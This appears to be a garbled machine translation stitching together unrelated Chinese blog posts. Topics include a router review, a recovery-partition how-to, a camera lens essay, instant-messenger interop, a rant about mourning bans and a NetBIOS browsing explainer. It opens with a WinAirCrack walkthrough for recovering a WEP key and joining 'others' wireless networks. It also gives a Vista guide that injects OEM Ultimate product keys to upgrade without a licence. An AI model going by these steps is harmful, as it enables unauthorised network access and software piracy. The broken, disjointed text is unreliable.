The following process is a long wait, until the last table ' Packets ' column total 300000 meets laboratory requirements. According to the experimental experience: when the AP extreme communication data flow, data flow very frequently, the ' Packets ' corresponding numerical growth acceleration. When the program is run to meet ' Packets ' = 300000 requirements when you press CTRL + C to end the process. At this point you will find in the installation directory under the winaircrack generates .cap and last last.. .txt files. One of the last. . . Txt sniffing tasks for this final statistics (use 'Notepad / notepad' Open the last.. Txt, obtained below). .
The following explains the work is mainly carried out for the last. .cap. First execute the .exe file WinAirCrack.:.
Click on the map red box and part of the folder button, pop-up *. . Cap selection dialog box, select the last. . Cap file, and then by clicking on the right 'Wep' button to switch the main interface to the interface of WEP cracking options:. .
Select the size of the ' Key ' to 64 (at present, most users are using the WEP KEY in length, so this step is totally guessing the selected value), and finally click on the main interface to the right of the ' key ' the Aircrack button will pop up an embedded in cmd. .exe running under the process dialog box and prompts to conclude that WEP KEY:.
Use. .
Open the wireless network connection parameter settings window, set the parameters as follows:.
SSID: demonalex. .
Channel: 6.
WEP KEY: 1111122222 (64 bit). .
OK, now you can enjoy the WLAN to the fun of others.
This method has been tested on my GATEWAY6308 success! Installed OEM versions do not already active, but for the time being have not installed SP1 patch. .
Simple present many books are the genuine VISTA BASIC Edition, you ever free BASIC Edition to upgrade to Ultimate Edition flagship Edition! In fact very simple.
First explain the principle:. .
OEM version of vista are relying on the certificate of non-oem bios + activated, not by serial number activation, oem's system tray incorporates various brands and oem certificate! MSDN disk, generally are 5-1, the so-called vista versions is differentiated by serial number, version number of the version in the disk of the OEM version of vista Ultimate and oem version of vista home basic difference just inside the disc preset SOURCES directory PID. . . Wim the automatic answer file autounattend. . Xml in the serial number, and some are under the root directory of the CD AUTOUNATTEND. . XML, then modify AUTOUNATTEND. . XML file contents on the list! And the same company the same version of the oem vista disc pid which have the same serial number. So long as we oem vsita disk serial number into the preset corresponding serial number Ultimate Edition, then you become an Ultimate Edition CD-ROM CD-ROM. .
That principle is now set their OEM VISTA Ultimate Edition CD.
First of all, to download and install the software and install UltraISO for making your hand mirror genuine VISTA BASIC. .
Download address: http://www UltraISO. .yiiu. .com/soft/Software/catalog16/3640. .html.
1. . To buy a computer attached to your genuine VISTA BASIC into the drive. .
2. open the UltraISO software press F8 key on your keyboard or select menu (Tools-> produce mirror).
Set according to chart the path to choose to save options - making space must be greater than the 5G, because one would need to modify the mirror a larger buffer space. .
Finished ISO file using UltraISO to open which ISO file.
SOURCES directory to find the PID. . TXT copy to your computer save the changes into the following:. .
[PID]。.
value = "6F2D7-2PCG6-YQQTB-FWK9V-932CC". .
These are my GATEWAY used by you needed under your own brand to modify.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ .
Summarizes what almost all brands, according to the version of the built-in install version CD-KEY:.
HomeBasic: 762HW-QD98X-TQVXJ-8RKRQ-RJC9Vr. .
HomePremium:8XPM9-7F9HD-4JJQP-TP64Y-RPFFVr。.
Business: 72PFD-BCBK8-R7X4H-6F2XJ-VVMP9r. .
Ultimate:6F2D7-2PCG6-YQQTB-FWK9V-932CC。.
Look at this show? r á ~ '2, fbbs. . Vista123. . Com ‰ ?n ? ?j "" `Q. .
ASUS Ultimate :6F2D7-2PCG6-YQQTB-FWK9V-932CC。.
Acer Ultimate: 6F2D7-2PCG6-YQQTB-FWK9V-932CC. .
DELL Ultimate :2QBP3-289MF-9364X-37XGX-24W6P。.
DELL Ultimate: 6F2D7-2PCG6-YQQTB-FWK9V-932CC. .
HP Ultimate :6F2D7-2PCG6-YQQTB-FWK9V-932CC。.
Lenovo Ultimate: 6F2D7-2PCG6-YQQTB-FWK9V-932CC. .
TCL Ultimate :6F2D7-2PCG6-YQQTB-FWK9V-932CC。.
NEC Ultimate: 6F2D7-2PCG6-YQQTB-FWK9V-932CC. .
GATEWAY Ultimate :6F2D7-2PCG6-YQQTB-FWK9V-932CCr 。.
TOSHIBA Ultimate: 6F2D7-2PCG6-YQQTB-FWK9V-932CC. .
FUJITSU Ultimate :6F2D7-2PCG6-YQQTB-FWK9V-932CC。.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .
Also under the SOURCES\INF .CFG file SETUP. use Notepad to open the Modify serial number saved brand.
[DefaultImageSelection]. .
Value=6F2D7-2PCG6-YQQTB-FWK9V-932CC。.
The last one is the PID. . TXT and SETUP. . CFG file overwrite the original ISO file which will save!. .
The final step of course is to find a DVD-R burn! The best course is to use the DVDRW test.
I installed is the OEM Ultimate version Mianjiaoguo it!. .
GbE + Draft-N + Linux: Linksys WRT350N is not fully evaluated.
Oh, I've been a long time not written in the blog in such things. Look a bit older content, after a full year in the UK are basically written in a number of casual suddenly two white-water paste paste two pictures were done, at best, the content is slightly more travels. Mainly because not much time, the other is in love with nothing out of the camera after taking pictures, it is not much to complain photograph in a plane on the film, photos, nature is a very multi-huh, huh. Swinging swinging on this year also passed. Much said, to positive questions. .
Based on IEEE 802 .11n draft standard for. wireless products is probably at the end of 2006, to appear on the domestic market (if I remember correctly), Linksys, Netgear, Buffalo, and several other brands of products, the price is very expensive. Router + 1 block wireless card on sale at more than 2000 yuan basically no one is interested in the market. Until this year, the fourth-generation Centrino notebook debut after these products are slowly, "identity" is no longer a shop owner "the treasure of the town shops, thus" "Centrino" how much advertising effect.
Have to mention here Centrino 4 Platform 4965AGN wireless card, Intel and other vendors, like the first draft released product, but 4965AGN Draft-N products, and other how many there are compatibility issues. Only with the "Connect with Intel Centrino" certified wireless access point / router to work. .11 N mode.。 You know AMD ATI acquisition, fully capable of providing CPU + chipset + video + wireless card consolidation platform, and Centrino formed a positive competition. Intel is trying to get wireless networking vendor is undoubtedly the majority of consumers have long been used in the bombing of the "advertising" under "Centrino = wireless Internet access" this concept. Imagine if we have a AMD Chip notebook, but found wireless routers are designed specifically for Centrino, own AMD only 54mbps "Legacy mode" connection, it would be so angry?.
The protagonist of this test is Linksys WRT350N. This router has been released a long time, but the country has been the microscopic trace, until mid-October most IT sites in the country are finding out a reliable quote. Linksys China site has not yet this model seems not officially listed on the mainland. As more high-end Linksys N series models, specifications nature can not be low: the highest wireless network support 300Mbps, 4 LAN ports and WAN port 个 10/100/1000Mbps are adaptive.。.
WRT350N hardware specifications as follows (hardware version v1. .0):. .
CPU： Broadcom 4785 r2/BCM4705 @ 300Mhz 。.
Memory: 32MB. .
Flash：8MB 。.
Wireless Chipset: BCM4321 MAC + BCM2055 RF. .
Switching chips: BCM5397.
Elaborate here because the hand did not fully compatible with the 350N's wireless network card (WPC300N to nearly 900, so Kengren a) and therefore do not focus on test 802. .11 N mode, the transmission speed. Test the network card is just that the Intel 4965AGN, the default settings can only be 54mbps connection, that the standard 802. .11 G mode. Configuration changes a bit to finally achieve 130mbps of "narrow-band N mode" rather than the normal 270mbps. According to statistical analysis found that the problem is that Intel does not allow 2. .。 If the router does not support the 5 GHz band, the maximum speed of the link is 130mbps. Figure:.
I really care is its focus on the hardware processing power. Router, looks simple, I think it is always someone not tell routers and switches, or simply call Hub because it, huh, huh. Of course, in the home network devices are usually integrated in the router products, integrated routing, switching, wireless AP functions. Test wireless connection speed is usually the practice is: in the same LAN to a wireless client and a cable for testing between the client, in this case the data transmission does not need the router CPU for too much interference.。 Therefore more bandwidth require a faster processor. Previously and is not a problem, because the speed of broadband network is insufficient to "collapse" of the router, but network bandwidth is getting higher and higher, more complex, the router task and the corresponding number, the current common router are basically integrated stateful inspection firewall, packet (SPI), UPnP, VOIP gateway, QoS, VPN endpoint, and other functions. Where QoS and VPN endpoint for CPU processing power of the most demanding, in the middle of the product to. . Is like the only 1G of memory to run Vista on the same Pentium 4. .
The method is very simple, in the WAN and the LAN port on another machine, the router uses the default settings, NAT mode, turn off the firewall and QoS, etc, just off set the necessary port forwarding rules. Then use the Throughput of IxChariot comes with scripts to test, the results showed that throughput speed and stability between the 130-140mbps. The following figure:.
Linksys WRT350N, evaluation, Intel Wireless WiFi Link 4965AGN, Draft-N, Throughput Test, NAT Performance, IxChariot Benchmark, NAT forwarding performance. .
135Mbps this average value exceeds 100 MB is commonly used by the cable network, which means that 100 MB network environment can achieve wire-speed forward, at the same level of performance of this product is very powerful, the power of immediate 300Mhz CPU. That WRT350N Gigabit WAN port is not set.
Of course, in reality, we also can not spend such a short fast broadband access, but this does not mean that there is no actual use of performance indicators. This figure is close all the unnecessary features in the case was out, and in the normal use of the time at least to enable the firewall, if the regular use of P2P software but also set the port forwarding, while BT and so on in order to ensure the software does not affect normal browsing Web, QoS is essential. This requires enough system resources to deal with. .
Then drop by measuring the speed of the LAN ports, using the normal five-class line, 1000Base slightly lower recommended specification, it is possible to speed some impact.
NIC set auto-negotiation mode, display the link speed of 1. .0 Gbps. .
Linksys WRT350N Wireless-N Router, Intel PRO/1000 PM, 1. .0Gbps, Throughput Test, IxChariot, gigabit throughput.
Although there is no six wires, in the case of pure exchange throughput has reached nearly 600Mbps, believe that this figure still further room for improvement. But I must say that the current can really play the speed advantage of Gigabit to the desktop application is not widespread, even the most low-end Gigabit NAS products (such as Buffalo Linkstation Pro) the cost is still not satisfactory, and the performance of these products also only "faster than 100Mbps," it is essentially not very different, so very few can feel the daily use to bring the speed Gigabit LAN upgrade. .
Last tested wired to wireless network transmission speed, the result as expected is not ideal, WRT350N + 4965AGN combinations only reached the average speed 46Mbps. (Note: the test Frame Burst mode is enabled, the router and the wireless client to a distance of 3 meters).
Linksys WRT350N, Intel Wireless WiFi Link 4965AGN, Draft-N, Throughput Test, IxChariot, DD-WRT, Linux, StorageLink, NAS, N mode, the draft version of the speed test. .
Overall, though, and like most Draft-N product compatibility issues, performance of the WRT350N still makes satisfactory, far more than a month of using the process runs very stable. Even if the installed firmware, also dd-wrt sets some custom iptables and QoS based on l7-filters rules, the system still can handle it well, no previous WRT54G above frequently occurring spike latency. Several people at the same time open BT download of skype calls is still not noticeable delay, this level to achieve the expected standards. . .
P。.S。. Linksys latest Draft-N product is in the 5 GHz band WRT600N, support, and compatibility may be better, but the price may be very high. While the price of 350N in Hong Kong in about 1000-1100HKD, while domestic normal channels (i.e., sell) price estimate at least 1500 Yuan, this post is to let people speechless.
http://www. . Baidu. . Com / s? Wd = WRT350N +% B2% E2% CA% D4 & cl = 3. .
http://www。.google。.com/search?hl=en&q=wrt350n+%E6%B5%8B%E8%AF%95&meta=。.
IBM F11 key to create a resume. .
Sample Text below is my browsing a hasee computer Forum see, although the hasee computer really rubbish, but I feel this post is very useful for those lazy. If you press any of the following methods feasible to original hidden partition to 1G so that you can do a pure windows xp-sp2 's mirror, but also can make the other brands of books with the same F11 key recovery features. It has been in the garbage bin on the dev test passed.
For computer users, the most troublesome problem than reinstall the system after a system crash. Although there are all kinds of various system recovery tools, such as the brand of the system recovery disk that comes with and so on, but there exists a disadvantage, need boot disk. Blue giant IBM's F11 function all very well, no boot disk. Press F11 on the automatic crash recovery, and unfortunately for the F11 and I should wait a bit poor to buy IBM is not realistic, no way are we yet? No, hard work pays off, I read the reference to the article online, and finally make their Shenzhou elegant M153D F11 notebook were using a key recovery. .
IBM F11 key recovery principle:.
IBM F11 system restore works, he is a hard disk with 2 primary partitions, backup and recovery partition hidden by default. Press F11 when the system crash recovery, backup and recovery hidden partition is automatically set to visible active partition, start the computer and perform a system recovery. However, there is a flaw in this system, only the IBM users can enjoy the first, second, recovery is slow. .
Next I will own use IBM System Restore tool to create a key recovery system F11 process ourselves, such as inadequate please humour.
Preparation phase:. .
Need tool software: d2dfdzip. .exe (IBM F11 system recovery tools in IBM's official website download).
PowerQuest PartitionMagic 8. .0. .
GHOST 7。.0 （8。.0） 。.
A good system using GHOST software image file. .
Author not indicated, because this file is used for system recovery in the future, so I suggest the best is to reinstall your operating system, installed software must be free of application of each subsequent recovery will have to reinstall.
Second, the establishment of district:. .
Running under the WINDOWS., .0 PQ8 partitions.
1. In the primary partition C PQ adjust the size, in the 2G space was vacant for doing backup partition. .
2. in the main partition free space at right-create-create partition menu pops up, choose to create a primary partition, the partition is formatted as FAT32, the volume label IBM_SERVICE.
3. Then applied, the system restarts, the volume label for the IBM_SERVER, the size of the FAT32 backup partition on 2G to create finished. But the startup disk and I found we did not appear, why? Because now there are two primary partitions on the hard disk, the new partition hidden. We re-enter the PQ, in the new partition, right click - Advanced - show partition. .
Restart after we can see our new backup partition.
Note: The newly created backup partition to primary partition C in the back, if the primary partition in front of the building or building in the extended partition would lead to F11 function is not available. Sub-regional format must be FAT32, or GHOST under DOS software will not work correctly. Label must IBM_SERVICE, or IBM's F11 recovery software will not work. .
Three backup partition settings.
1. With the start function to the backup partition. Because when the system crash, Yao use the backup partition to start the computer, so the backup must exist under the root directory Fenqu basic DOS startup files. 98 systems can make a boot disk, or to use the second approach, the current version of CD-ROM comes with D-start, start the computer using CD-ROM automatically default drive letter is A:, A disk of all the files will be copied to the hard disk The backup partition. (DOS three basic startup files COMMAND.. COM MS-DOS.. SYS IO.. SYS). .
2. copy of GHOST software and the first step in doing GHOST image file to the backup partition root.
3. Use Notepad to create Config. . Sys file. .
Device = c:\\himen。.sys 。.
Save the config. . Sys. .
4. create an automated batch file .BAT. AUTOEXEC.
Ghost. . Exe-clone, mode = pload, src = c: \ \ winxp. . Gh1, dst = 1:1-sure-rb. .
Note: Please do not modify the image file path here: C:\\winxp. .gho, author of the first time the I, the result cannot be executed. Reason for this is that when backup partition activation starts, the system partition, hide partition, the backup disk as C..
Dst = 1:1 is to restore files to a hard disk first partition. .
Four F11 feature installation.
1. Downloaded from the IBM website d2dfdzip extract the files to C root directory, and modify the AUTOEXEC. . BAT files. .
a:\\bmgr。.exe /Fboot。.bin /Mbmgr%CC%。.scr /s 。.
a: \ \ bmgr. . Exe / Fboot. . Bin / Mbmgr% CC%. . Scr / s. .
This two lines of a: path is set to c: because we haven't floppy notes directly on the c drive to perform.
2. DOS partition copy software FDISK. . EXE to C root directory, because F11 function to write the hard disk boot record. Boot disk in there just made. .
3. start the computer using a startup disk to DOS, converted to the c: drive, type autoexec. .bat.
Display a file copy, press CTRL + ALT + DEL to restart your computer. .
After the reboot is not found in our F11 function has already occurred, our backup partitions are automatically hidden.
Summary:. .
At this point, our F11 key recovery system is completed. Later in case of system crashes as soon as you restart press F11, it is automatically restored. The author of the Shenzhou elegant M153D notebook Samsung hard drive recovery with three speed reached 650M, three minutes with a new system.
This method can not only use the notebook, we are equally applicable to the desktop. With the F11, we no longer have to fear a crash pull. .
Canon camera brand called Avalokitesvara in his early years, he and Minolta early and are based on the German lens, then your own production of optical lens, technology and style learning and inheritance of Germany. Nikon is optical, there after the first shot of the airframe, airframe inherited German early mechanical camera style more.
Then go on their development process and the nuances of style lenses. .
2 aperture header is still the industry leader. It is in the glass melting system, material technology and optical properties of gradually accumulated more and more unique patents, the optical lens products gradually started to catch up with the once optical products have been ahead of his pass is proud Lin, Pan so a cutting. In the late 60s to late 70s mechatronic tide, the tide of Canon seize the opportunity to become the most successful beach-goers, the brand more than the German product, and Nikon camera sales tied to a Nissan lineup, Steven, United States, Austria, Kang, Li became the second team, in the fierce competition in the first PEI Tories, the successor to and a number of really good crew fade. .
50 and 60 's, some Japanese manufacturers supporting the lens with Germany, Nikon Lens advantages derived from the 50 's. Its camera is good, especially the sharpness and contrast, black and white film in the same year as the primary era, this photo for plate printing, plus the price is relatively cheap, and the development of optical lens series, which is very popular with photographers. Resistance moment, it is West is the "one country, two systems" taken to use German lens, and independently developed Nissan lens. The camera two brands, respectively, but the interface. Remember the early 1980s, just buy it West card FX3 (today the Phoenix series prototypes), but can be equipped with a Zeiss head.
Three different development routes finished, the following will focus on C, N head style subtle difference. .
I saw this question may be threads, the age of light, you do not understand the historical evolution of the process, nor does it track two decades the company technology development and product comparison for a long time, but no one can tell differences between C and N lens.
Japan's camera lens manufacturers have said the development of several development context, to sum up:. .
1 is the Nikon, such "soft forest paisi independent development" road, some of our lucky as in the past; the film.
2 is a Canon, Minolta, Xu Pan and other first re-introduction of supporting their development, a bit like the Phoenix camera and want to leave China's automobile industry but did not take the success of the road;. .
3 is it carved wire resistance too, to the West and the independent, a bit like a red flag and Audi, but it can be said that the fundamental nature do not like.
Therefore, the number of camera style was related to this. .
Just said, Nikon Lens resulting in optics, in military industrial age 30, 40 (of angry, attention, Nikon did not buy you buy). 50 years since the United States photographers make use of the materials with Nissan cheap camera from Korea, Mapas renowned press photography. From black and white newspaper printing effect at its lens sharpness great acclaim, the price is well below the German products. Hot pursuit by journalists. Also the reason why popular Nikon lenses, but this year is slightly different with the German lens characteristics, becoming its traditional characteristics.
- Features: sharpness, contrast. Suitable for printing plate, printing plate especially the black and white era. .
Canon and Minolta early does not have its own lens, which is modeled after the German lens, of course, the lens has been basically abandoned M. Can the look of Canon but, first make the pursuit of large-diameter, then get buzz series for the front row in the country, not pursuing. Because of this, gradually formed c header features — good very good, the cost is too high, the low rate of finished products. But with its large number of fuselage yield but also like symmetry must produce large quantities of inexpensive lens match the fuselage. And quality on both ends of the product structure.
Nikon Otherwise, his customers are first to recognize the quality of the lens to become loyal customers, its users have in a professional and associate professional mainly due to recognition of the quality of the original lens, it wants to hold the style. The key is to secure. .
Canon users are much more complex, involving amateur, paraprofessionals and professionals, to the cost price of the product line adapts to a variety of on-demand.
Finally on the N and C of the lens quality and style that some personal point of view:. .
I was two and a half centuries production of brand lens have much used, is that groups of individuals as a whole, the average N lens imaging quality slightly above the C headers, this refers to the same price for most products. There are also some Nikon lens than even Nick C universal head. I have used canon35-70/3. 5-4. 5 hedging (now called nugget), beat out over stunning award winning photos, get the photography exhibition on the 40-inch display. I was not comfortable lens quality, careful observation of details in front of the photo, the resolution and the edge of the control I dispersion was unbelievable.
If you know the lens of production and design complexity, they will know - high sharpness and high contrast is easy to choose the easy way out, and make people feel that this shot of strong, commonly known as "hard." The contrast between the soft and the lens to achieve high resolution, then do not choose the easy way out. Possible under big power, it is difficult to quickly give people the lens of "hard" image. .
However, the real so-called lens style and taste that comes from here.
Why N first even the best professionals also feel that it is missing the lens than the German "taste"? Understand me. .
But c factory by the top lens Manufactory star ensures style walk is the pursuit of German style, low contrast and high resolution. Although at first glance the sharpness than N head, contrast is a "hard". But look, richly — this is the German scene. You do not believe it, all with the same specification grade lens battle.
I do not see know the results -. .
Shoot landscape photos, black and white photos, the light and shade Photo composition, good effect of N-head.
Portrait photo shoot, color photos, to enrich the fine tune color composition of the photo film, C the first effect is good. .
The lens on the level of technology, to achieve the latter to the former can be difficult to achieve. That is the value of the c header quality is higher than the first N..
If you want a different style of making photos, then post-processed C header easily be other films to improve contrast and sharpness. .
While the first film N difficult levels, increased detail rich.
Use Google Talk with the QQ, MSN interoperability. .
Gtalk (Google Talk) interface gives a concise, clear, and the latest beta version adds file transfers, voice message class, showing new features such as music status, so I had to fall in love with Gtalk. . .
. .Com), .com and then gmail. forwards the message to the network, some built for msn, jabber jabber sever2 sever2 then forwards the message to the target end of msn, the entire process.
Here's how to use the jabber client Psi to your msn, yahoo, aim / icq, qq well integrated into Gtalk, this set-up process to use to Psi, Psi after not open, and just open gtalk and msn can be a good You talked. .
Preferred, of course, is to install good Psi, the latest version of the Psi under address http://psi. .affinix. .com/download.
After installation, refer to google talk here of official help files (in this original error, should be PSI in the Help, click here - Solomon Note) The setting (a detailed enough) to your gtalk account is set to default login account, then login to your account status to "online". .
Click on the lower-left corner of the Psi system menu Service Discovery "in search of jabber server, in the pop-up window, in the Address bar enter the jabber server address as jabbernet. .dk, behind the" Node "can be selected, and then point" Browse ", the following will display support for the jabber IM server address.
jabber server reference Address:. .
jabbernet。.dk。.
jaim. . At. .
bgmn。.net。.
freelinq. . Com. .
Jabber official website announced more server address, you can try http://www. .xmpp. .net/bycountry. .shtml.
With msn for example, then right click in msn first "Register", fill in the dialog box that pops up the appropriate information that your msn account and your password, if the landing is successful there will be "successful" for the reminder. .
At the same time your buddy lists the following Psi "Transports" Agents/will show this MSN jabber server address, and the icon is lit, indicates that the landing was normal. Your msn buddy will also be displayed in your Psi buddy bar inside, and you can see the back of the ID with a string like "@ msn. .jabbernet. .dk" thing, in fact, this is the jabber server address!.
Well, now out of Psi, login to your Gtalk, will receive a someone wants to add you as friends of the message, point "show requests", then all the points, "yes", so your friends will all add to msn Gtalk on people, and now you can direct your friends to chat with your msn it! (Historical moment). .
In the same way you can yahoo messenger, icq/aim, qq friends all add to the Gtalk. The special thing is that QQ, its jabber server. .com is freelinq from a network company, Tencent QQ strict against third-party connectivity plug-ins, features didn't dare too full, you added will not display in your Gtalk QQ friends, but when your QQ friend you will receive your information, you will recover, and to be able to reply (you can use this link QQ, but I personally do not support).
Also point to and share a small experience, when we msn, yahoo, icq, aim plus go after, gtalk's friends may be too large to distinguish between what is msn good friend, what is yahoo friends, and good gtalk has strong capabilities in the search, in the search box enter "msn.." (without the quotes) will show all msn friends, also enter "yahoo.." will display all yahoo friends. (This feature is found in the blanket but I do not care). .
In the search box, type "%" (without quotation marks) will display all msn buddy list, enter the msn. " In effect, but for yahoo, icq/aim, qq is not found in other simpler methods.
Attached. .
The latest beta version of Gtalk download address: http://dl. .google. .com/googletalk/googletalk-setup-testing. .exe.
Gtalk official blog: http://www. . Pkblogs. .com / googletalk. .
Gtalk resources station: http://www. .customizetalk. .com/.
Gtalk Chinese chat group: viabot @ gmail. . Com chinesegtalk @ gmail. . Com. .
I would like to ask, what is the purpose of mourning? is tribute to the passing of the deceased, cherish our life. What is the purpose of prohibiting entertainment? to mourn? can achieve the aim of the mourning? those people in the disaster area continues to struggle, that of people simply not leave it..
So we going to prohibit entertainment can allow them to mourn up? . .
So does the prohibition of entertainment can really let them not entertainment?.
So do the people in this period really fun rescuing people? . .
I say you understand? you don't know if you understand that these would not have made such statements.
We see things not only have to see to see the surface meaning. .
Frequently there are: the German non-German, Germany. Virtue is not misconduct, is worthless.
This means that: a noble character who never intend on German cloth Shide Hui, thus noble and virtuous character; and low moral character who will always forget Under the German cloth Shide Hui, and thus no moral low moral character. .
So just like the real relief, as people, real people to go to mourn, real deep it is not necessary to go outside, and they exert influence. Without reflecting the influence of the person you are vain.
This is a populist victory. . This force acts, including the risk that it implies a logic: the name of the people, the government can ban a lot of things at any time. Although this is only three days, who can guarantee that. . The future will not be a more long-term control. Many people have mentioned the government's performance more and more respect for the relief of public opinion. . But such progress, it is easy to back and taken away. . Because it is bestowed, not the war come. We still lack clear and specific channels to express their opinions, I am not saying there is no technical form. .
。.
Noble and valuable emotion is spontaneous, rather than the norm out. .
Ethical self-discipline of the essence rather than the law of man.
Every demand and every community with different social tolerance than the latter is more creative and developmental. .
The formalism of ancient has, for example, "d", the ancients bereavement, officials are suspended three years home reverent. Form a moral sense, but in fact it has become the career of the ultimate killer and depressed. Parents are aware, the spring will be pleased to? son mourning parents is human, the vast majority of the son of man is the heart, but forced institutionalization of the normal human sentiment forced into life. And today this universal mandatory time limits, even though the content is different, and insincere but empathy.
Most of the people is not issued objection must be fun, just offensive that mandatory atmosphere. This kind of excessive interference in personal life, social life with too much force demand is inherent in our national character flaw, but not necessarily inherent right, not necessarily should not be changed. .
Moral value is that it is not required, it should not be mandatory.
. .
Human endurance ability is strong, but not everything people's patience level to measure something, especially to force things, if you have three days to three months try??!!! who will say "but I can remember????.
. .
Merely a quantitative change in our country will distort the qualitative change occurred, if this earthquake just died 5 individuals will also be the national mourning? dead 5 million individuals called the miserable, 5 individuals not suffer not called life right???!!!!!.
. .
I don't need to convince those who echoed, "crowd, because I don't need to convince a group of people, the majority of you, but do not explain you sense!!.
. .
If countries are not forced to shut down public entertainment, ask your child to be sprayed? if we say that three days after you are done, then this three-day what is the significance? do you have a life don't go Ah, go to the victims of disrespect. Use your noble, the definition of the conscience, do you do?.
. .
Over time, this group of people will become less and less, we will wait and see!.
. .
Wait until the third day, maybe, someone will come to pray after the Chinese don't disasters because people really alive than disaster died in more unpleasant but disasters since ancient times has!!!, who will be able to avoid it?.
. .
We have to look at the South China Tiger tiger skin, why the Government is not good advice?.
We support the Tang, when younger sister, why not good advice? . .
We call can't afford the tuition fees, no, why the Government is not good advice?.
I am curious, we all want things, why only this was the name of the people? . .
Does democracy is selective attention of public opinion?.
Is the Government wrong we call the real meaning of death is not coal black people? Snow dead human? Train Crash Death is not the person? How much is enough sorrow to the number of treatment? . .
Every day, every day is becoming more and more, a few decades ago there are numerous Patriots head over the blood results now to defend it, died in Lady's became a martyr. I can't believe?.
Are not encouraging people to rise and there has not been engaged in armed fights within the fight out out criticism in the example of radical is less than! . .
Really feel touched, really have faith and do their own thing, working on your dedication, your faithful partner in life, young or old, Xiaoyi you loyal, top world site, even if it immediately, it is nothing to be ashamed to have such a sad day in and day out, my friend, why do you care?.
Shouting slogans and then ring the dead hear? . .
Passengers have to look good without substance, see dead people?.
. .
Worthy of the living dead, Dina!.
. .
More sad, relatives or others also have songs, die by the road which, in the same mountain '.
Issues related to Network Places, people have been asking more. .
。.
Microsoft's browsing service as a general introduction, and then in-depth analysis of the mechanism NETBIOS specific work plan divided into three sections concerned, Microsoft's Web browsing, in-depth analysis of NETBIOS, and network setup details. .
** Microsoft network browse profile ***.
Q: Under what circumstances would result in the network neighborhood but can not access the computer can see or access can not see? . .
Please select the best answer:.
A. . Your network for physical problems, such as cable. .
B.-as the domain master browser Windows browser service NTserver is broken.
C. . Windows NTserver card problems. .
D.-your network does not have a description of the problem, the user is a normal phenomenon of Microsoft browser.
Correct answer. .
The book explains: Microsoft's Web browser may be in use appear "broken", but in fact they do not interrupt,.
This misunderstanding is due to Microsoft's Web browser users are not familiar with the processing result. .
Like the students often complain about the "why do people in my network places can be used, but not without me?" ".
What sometimes can browse, and sometimes can not browse the network? "Started the trouble should end it, let us go..
Take a look at Microsoft's Web browser exactly how to do it. In view of possible on NT "domain" is not much of a concept.
Solution, there's too much trouble here as 98 machine, I will be 98 "work group mode" as you explain. .
1. What is a browse list (Browsing List).
In the Microsoft Network, users can browse the list to see the entire network (that mean? Subnet or broadcast domain?..
We can consider) all computers. When you are going through the Network Neighborhood window open when your entire network.
A working group will see the list, and then open a working group, you will see the inside of the computer list (also available at..
DOS mode using the net view command/domain: workgroupname), this is what we call.
Browsing List. In essence, the working group is to share a browse list of a group of computers, all. .
Between working groups are peers, no provisions do not allow all computers and in a workgroup.
2. . Browse list where it is. .
Had seen the kapok controversy, it was said: network neighborhood in the computer list is broadcast to the query.
Of. Can someone give counter-examples, said: My classmates are off, but I can still see it in My Network Places where should. .
From a HUB or switch, fixed equipment acquired in the cache.
In fact, they say only one side, to say the two of them together is the correct answer ---. .
Browse the list to browse through broadcast queries from the master server to a master server for browsing.
3. . Here is what the master server. .
Browse the master server is a computer in the workgroup is the most important computer, it is responsible for maintaining the present in a workgroup.
Browse the list and specify the other working groups, a list of master servers, and other computer-based working group and other to. .
Visit the Working Group on the computer browser service, each working group for each transfer protocol will select a browse.
Master server, and we often encounter the error can not browse the network in which most of the working group because you did not. .
Have a browse master server. You can use a workgroup NBTSTAT-a computername.
Using the NBT protocol command to find the master server browser, it's logo contains \ \ _MSBROWSE_ Name field. .
4. browse master server is specified.
By default, win98 workgroup browse master server is the first of the working group to enable file and. .
Printer sharing function of the computer, but also allows manual a win98 computer configured to browse master server.
(Method described later when the network configuration of specific description, but here the master server needs to maintain the dynamic browse..
Access to the list, the performance will be affected), if there are multiple computers in a workgroup configuration, either.
Current browse master server closed the system and no other computers enable the master setting, will be carried out. .
The master browser election.
5. . How to browse through the master browser election server. .
With regard to the report of the selected browser, is caught, I'll just have to press the book tells the story of stuff to.. in fact, process.
Very simple, first by a computer to send an election critical message, the packet is sent from the computer contains. .
Information (operating system, version, and the NetBIOS name, etc.), selected reports to network broadcasts, the Working Group on each count.
Computers will use their information packets and the election compared to the priority, the main operating system play a major role, I remember. .
It seems to be the "NT Server NT Workstation" Win98 "WFWG, anyway, to the last is the best of their own conditions.
Become the new master server browser. .
6. the whole network browsing process.
When a win98 access to the network, if it is with the server services (file and printer sharing is enabled) will be. .
To declare your own broadcast network and browse master server will make this announcement and put it into their own maintenance.
Browse the list; but not in the corresponding binding agreement of the computer file and printer sharing is not declared, because of. .
But it does not appear in the network neighborhood. When a client computer to obtain the required network resources, first of all.
Issue here will be broadcasting a request, visit the master server receives a request, if the request is the group's visit list. .
Directly to the list of returned; if the request of the other working groups of the browse list, browse master.
Browsing List based on their own server records in the working group to find the corresponding master browser to return to the user. .
Users can find it if you want to browse the list. As for how to go to another computer and shared Exchange resources.
Not that we are here to discuss the problem. .
See network browsing, I'd like to tell you a useful application that now many students for security.
Considerations are not welcome strangers through the Network Neighborhood to access their machine, but sometimes they need to recognize the lower part of the film. .
Share out of the students, thus also cannot delete the file and printer sharing service. What should I do? some to share.
Name plus a \ $, in order to hide the effect, but this use net share is under DOS can be seen; some people to share. .
Plus the password, you can hear that there is a way to crack, but easy to provoke "hackers comrades" curiosity. There are.
No way to own the machine in the network neighborhood in conceal them? For students lets him know with \ \ IP. .
To access. Think, the key is to prevent your machine from the network to deliver their own, and I know we have.
Some people have this become a reality, as to method Well, do not ask me. .
Cjt Note: because the relevant information on win98 browser services involving very little number of books to NT domain model "into".
Line description, so I can understand the combination of netxray according to their own practice to test, details of the hard part. .
Avoid any mistake, please correct me.
7. . In my Network Places in why some machine can not access. .
If Microsoft's my network places really do what you see is what you get, I believe that people who complain about it not like it so much, you can.
In front of the browsing service through the introduction, we already know that it is not possible, because the list was not browse. .
By accessing each VCL, very often the computer on the network and does not correctly update the browse list.
When a computer shutdown, it will be sent to the network broadcast a declaration to view it from the master server in a timely manner. .
Browse the list, while non-graceful shutdown, the browse list will still maintain the entries over a long period of time (under NT.
45 minutes), and this is where we can still see it in the Network Neighborhood reasons. . The stability of 98 is well known. .
----Could shut down before crashes ^-^.
